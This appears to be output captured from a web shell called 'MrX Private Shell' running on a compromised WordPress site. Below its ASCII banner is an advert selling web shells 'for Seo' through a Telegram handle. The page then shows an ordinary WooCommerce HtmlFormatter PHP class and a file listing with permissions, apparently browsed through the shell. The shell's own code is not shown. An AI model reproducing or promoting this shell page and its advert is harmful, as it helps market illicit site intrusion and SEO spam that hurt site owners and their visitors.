__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\StoreApi\Formatters;
/**
* Html Formatter.
*
* Formats HTML in API responses.
*
* @internal This API is used internally by Blocks--it is still in flux and may be subject to revisions.
*/
class HtmlFormatter implements FormatterInterface {
/**
* Format a given value and return the result.
*
* The wptexturize, convert_chars, and trim functions are also used in the `the_title` filter.
* The function wp_kses_post removes disallowed HTML tags.
*
* @param string|array $value Value to format.
* @param array $options Options that influence the formatting.
* @return string
*/
public function format( $value, array $options = [] ) {
if ( is_array( $value ) ) {
return array_map( [ $this, 'format' ], $value );
}
return is_scalar( $value ) ? wp_kses_post( trim( convert_chars( wptexturize( $value ) ) ) ) : $value;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CurrencyFormatter.php | File | 1.32 KB | 0664 |
|
| DefaultFormatter.php | File | 411 B | 0664 |
|
| FormatterInterface.php | File | 367 B | 0664 |
|
| HtmlFormatter.php | File | 898 B | 0664 |
|
| MoneyFormatter.php | File | 1.59 KB | 0664 |
|